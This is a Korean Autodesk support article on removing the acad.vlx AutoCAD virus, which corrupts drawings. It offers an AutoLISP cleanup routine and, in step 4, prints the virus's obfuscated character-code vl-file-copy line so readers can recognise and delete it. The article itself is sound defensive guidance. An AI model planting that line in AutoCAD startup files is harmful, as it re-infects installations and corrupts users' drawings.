Autodesk 지식자료실

기술지원 업무시간

평일 09:00 ~ 11:00 / 12: 30 ~ 17:00

※ 기술지원 문의는 순차적으로 답변 해드리겠습니다.
제목 Acad.vlx 바이러스 정리
등록일 2010-08-20 오전 11:50:00 조회수 22361
내용
fiogf49gjkf0d

게시 일자: 2010-03-25
ID: TS13717811  

적용 제품:
AutoCAD® 2011
AutoCAD® 2010
AutoCAD® 2009
AutoCAD® 2008
AutoCAD® 2007
AutoCAD® Architecture 2011
AutoCAD® Architecture 2010
AutoCAD® Architecture 2009
AutoCAD® Architecture 2008
Autodesk® Architectural Desktop 2007
AutoCAD® Civil 2010
AutoCAD® Civil 2009
AutoCAD® Civil 3D® 2011
AutoCAD® Civil 3D® 2010
AutoCAD® Civil 3D® 2009
AutoCAD® Civil 3D® 2008
Autodesk® Civil 3D® 2007
AutoCAD® Electrical 2011
AutoCAD® Electrical 2010
AutoCAD® Electrical 2009
AutoCAD® Electrical 2008
AutoCAD® Electrical 2007
AutoCAD® Map 3D 2011
AutoCAD® Map 3D 2010
AutoCAD® Map 3D 2009
AutoCAD® Map 3D 2008
Autodesk Map® 3D 2007
AutoCAD® Mechanical 2011
AutoCAD® Mechanical 2010
AutoCAD® Mechanical 2009
AutoCAD® Mechanical 2008
AutoCAD® Mechanical 2007
AutoCAD® MEP 2011
AutoCAD® MEP 2010
AutoCAD® MEP 2009
AutoCAD® MEP 2008
AutoCAD® P&ID 2011
AutoCAD® P&ID 2010
AutoCAD® P&ID 2009
AutoCAD® P&ID 2008
AutoCAD® Raster Design 2010
AutoCAD Raster Design 2009
AutoCAD Raster Design 2008
Autodesk® Raster Design 2007

문제
AutoCAD 기반 제품의 사용자가 도면 손상을 일으키는 악성 acad.vlx 파일을 보고했습니다.

해결 방법
이 파일은 Autodesk에서 제공한 실제 AutoCAD 파일이 아닙니다. 악성 acad.vlx 파일이 AutoCAD에 로드되면 도면을 손상시키고, 그 결과 도면을 저장한 후 다시 열 때 언어팩 누락 대화상자가 표시될 수 있습니다.

acad.vlx 파일은 Help 폴더에 동일 사본을 생성합니다(예: C:\Program Files\AutoCAD 20xx\Help\logo.gif). 또한 다른파일들을 손상시키고ACADLSPASDOC 시스템 변수를 1로 설정하여열려 있는 다른 도면에acad.vlx 파일이로드되게 하여 해당 도면을 손상시킵니다.

바이러스 확산을 방지하려면, AutoCAD가 파일 로드를 시도하기 전에 모든 acad.vlx 파일을 검색하여 삭제합니다.

추가 파일 손상을 방지하려면
반드시 Microsoft® Windows®의 관리자계정으로 다음의 절차를 진행하시기 바랍니다.

  1. 제품 설치 폴더에서 Support 폴더를 찾습니다(예: C:\Program Files\AutoCAD 20xx\Support).
  2. Support 폴더에서 acad20xx.lsp 파일을 더블 클릭합니다(예: acad20xx.lsp 파일). 이 파일에 아래의 코드를 추가합니다. AutoCAD가 acad.vlx 및 logo.gif 파일을 검색하여 삭제하게 됩니다.

    (defun cleanvirus( / lspfiles lspfile x)
      (setq lspfiles '("acad.vlx" "logo.gif"))
      (foreach lspfile lspfiles
        (while (setq x (findfile lspfile))
          (progn
            (vl-file-delete x)
            (princ "\nDeleted file ")
            (princ x)
          );progn
        );while
      );foreach
    )
    (cleanvirus)
  3. 다음의 각 파일을 엽니다.
    -C:\Program Files\AutoCAD 20xx\Express\acetauto.lsp
    -C:\Program Files\AutoCAD 20xx\Support\ai_utils.lsp
    -ROAMABLEROOTPREFIX\Support\acad.mnl
     중요: ROAMABLEROOTPREFIX 시스템 변수에 의해 반환된 값으로 ROAMABLEROOTPREFIX를 대체하십시오.
  4. 만약 다음과 같은 코드가 있으면, 삭제하시기 바랍니다.

    (vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
  5. 각 파일을 저장합니다.